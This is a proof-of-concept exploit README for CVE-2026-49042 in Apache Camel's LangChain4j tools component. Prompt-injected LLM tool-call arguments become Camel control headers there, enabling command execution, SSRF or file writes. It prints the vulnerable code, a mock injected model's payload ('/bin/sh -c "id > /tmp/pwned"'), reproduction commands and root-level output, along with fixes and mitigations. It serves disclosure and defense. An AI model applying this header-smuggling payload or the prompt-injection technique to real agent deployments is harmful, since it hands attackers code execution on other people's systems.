## https://sploitus.com/exploit?id=C19E71AA-3DDD-5A09-8F88-6BE2FED977E7
# camel-langchain4j-tools Prompt-Injection โ Header-Injection Reproducer (CVE-2026-49042)
This project demonstrates an **input-validation flaw** in Apache Camel's `camel-langchain4j-tools` component
(the family also covers `camel-langchain4j-agent` and `camel-spring-ai-tools`), tracked as **CVE-2026-49042**.
When a Camel route acts as an LLM agent, the tools producer asks the model which tool to call and with which
arguments. The model answers with a JSON object of arguments. The affected producer then copies **every field of
that JSON straight into the Exchange message headers** โ with **no filtering against the tool's declared parameter
schema**:
```java
// LangChain4jToolsProducer.invokeTools (affected 4.18.2)
JsonNode jsonNode = objectMapper.readValue(toolExecutionRequest.arguments(), JsonNode.class);
jsonNode.fieldNames().forEachRemaining(name -> {
// ...type-convert value...
exchange.getMessage().setHeader(name, headerValue); // EVERY field -> a header, no schema check
});
camelToolSpecification.getConsumer().getProcessor().process(exchange); // then the tool route runs
```
An LLM is **untrusted output** โ it is routinely steered by **prompt injection**, most dangerously *indirect*
prompt injection from content the agent ingests (a document, web page, email, database row). A model coerced this
way can emit **extra argument fields beyond the tool's declared parameters**. Because those field names become
Exchange headers verbatim, an attacker can set Camel **control headers** โ `CamelExecCommandExecutable`,
`CamelHttpUri`, `CamelFileName`, and so on โ and steer whatever downstream component the tool route uses.
This PoC demonstrates the impact as **remote code execution (CWE-20 โ command execution)**: a benign
"get system status" tool runs a host diagnostic through the `exec:` component; a prompt-injected model injects
`CamelExecCommandExecutable=/bin/sh` and `CamelExecCommandArgs=-c "id > /tmp/pwned"`, and the diagnostic is
replaced by an attacker-chosen command. The **same primitive** also yields SSRF (via `CamelHttpUri`) or arbitrary
file write (via `CamelFileName`) when the tool route uses an HTTP or file producer instead.
Advisory: https://camel.apache.org/security/CVE-2026-49042.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-langchain4j-tools` (also `camel-langchain4j-agent`, `camel-spring-ai-tools`) |
| **Affected Class** | `org.apache.camel.component.langchain4j.tools.LangChain4jToolsProducer#invokeTools` |
| **CWE** | CWE-20 (Improper Input Validation) โ unfiltered tool-call arguments become Exchange control headers |
| **Impact** | RCE / SSRF / arbitrary file write, depending on the tool route's downstream producer |
| **Preconditions** | A Camel LLM-agent route whose tool action reaches a header-steerable component (exec/http/file/โฆ); model steerable via (indirect) prompt injection |
| **Affected Versions** | 4.8.0โ4.14.7, 4.15.0โ4.18.2, 4.19.0โ4.20.x |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23621 (PR [apache/camel#23535](https://github.com/apache/camel/pull/23535)) |
| **Credit** | Yu Bao (PayPal) |
> The fix restricts the headers set from a tool call to the **declared parameter names** of that tool, so an
> LLM can no longer introduce arbitrary Camel control headers. Same input-trust theme as the header-injection
> family (CVE-2025-27636 and its follow-ons), but here the untrusted producer is the **LLM itself**.
## Why no real LLM is needed
The vulnerability is independent of which model is used and of any specific jailbreak. It only requires the model
to be steerable into adding extra tool-call argument fields โ which prompt injection reliably does. This
reproducer therefore ships a `MockChatModel` that plays the role of a prompt-injected model: on the first turn it
returns a `get_system_status` tool call whose arguments carry the two extra `CamelExec*` fields; after the tool
result is appended it returns a plain final answer. This is exactly the JSON a jailbroken or indirectly-injected
real model would emit โ the vulnerable code path in Camel is identical.
## The victim route
```java
// A benign tool: declared parameter is only "host"; action runs a host diagnostic via exec.
from("langchain4j-tools:sysTool?tags=demo&name=get_system_status"
+ "&description=Return the operational status of a host¶meter.host=string")
.to("exec:echo?args=diagnostic-ok") // hijacked when CamelExecCommand* headers are present
.setBody(constant("status: OK"));
// The agent endpoint: user message -> LLM -> tool calls.
from("platform-http:/chat")
.process(e -> e.getMessage().setBody(List.of(UserMessage.from(e.getMessage().getBody(String.class)))))
.to("langchain4j-tools:agent?tags=demo&chatModel=#mockModel")
.convertBodyTo(String.class);
```
The author only ever expects the attacker to influence `host` (a tool parameter). They never grant the model the
ability to set arbitrary Exchange headers โ but the affected producer does exactly that.
## Repository layout
Everything runs in one self-contained container: the agent, the tool route, the mock prompt-injected LLM, and the
attacker driver.
```
CVE-2026-49042/
โโโ pom.xml # camel-platform-http + camel-langchain4j-tools + camel-exec 4.18.2; langchain4j 1.11.0
โโโ Dockerfile
โโโ docker-compose.yml # single self-contained service
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ MockChatModel.java # fake prompt-injected LLM: emits the malicious tool-call arguments
โ โโโ ModelConfig.java # registers the mock as the agent's ChatModel bean
โ โโโ VictimRoutes.java # tool route (-> exec) + agent route (platform-http:/chat)
โ โโโ ExploitController.java # attacker: POST /chat with a prompt injection, then check /tmp/pwned
โโโ resources/
โโโ application.properties
```
## Prerequisites
- Docker and Docker Compose
- Java 17+ and Maven 3.8+
## Reproduction Steps
```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### Expected output
```
=== CVE-2026-49042 โ camel-langchain4j-tools prompt-injection -> header-injection ===
1) Attacker sends an agent request carrying a prompt injection to POST /chat
(declared tool parameter is only 'host'; everything else is smuggled).
2) Agent replied: The system status for prod-db-1 is: OK.
HTTP status: 200
3) Downstream exec: hijack result
/tmp/pwned was created by the injected command. Its content is the
output of `id`, run by the container's process:
uid=0(root) gid=0(root) groups=0(root)
>>> PROVEN: a prompt-injected tool-call argument became a Camel control header and
>>> executed an attacker-chosen command. Remote code execution: true
```
## Attack Vectors
Any Camel LLM-agent route (`langchain4j-tools`, `langchain4j-agent`, `spring-ai-tools`) whose tool action reaches
a component steerable by Camel headers. The injected field names can be any Camel control header, e.g.:
- `CamelExecCommandExecutable` / `CamelExecCommandArgs` โ **RCE** (this PoC)
- `CamelHttpUri` โ **SSRF** (tool route ending in an HTTP producer)
- `CamelFileName` โ **arbitrary file write / path traversal** (tool route ending in a file producer)
The trigger is untrusted content that reaches the model โ most realistically **indirect prompt injection** from
data the agent processes, not necessarily a hostile end user.
## Recommended Fix
Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23621). After the fix, only the tool's **declared parameters** are
promoted to headers, so the model can no longer introduce arbitrary Camel control headers.
## Mitigation
Until upgrading:
- Keep agent tool routes away from header-steerable sinks (`exec`, `http`, `file`, โฆ), or hard-pin those
components' security-relevant values so headers cannot override them.
- Insert a `removeHeaders("Camel*")` (and any other control-header cleanup) between the tools producer and the
downstream component in the tool route.
- Treat all LLM output as untrusted and apply prompt-injection defenses on any content the agent ingests.
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission. The injected command is a benign
`id` writing a marker file.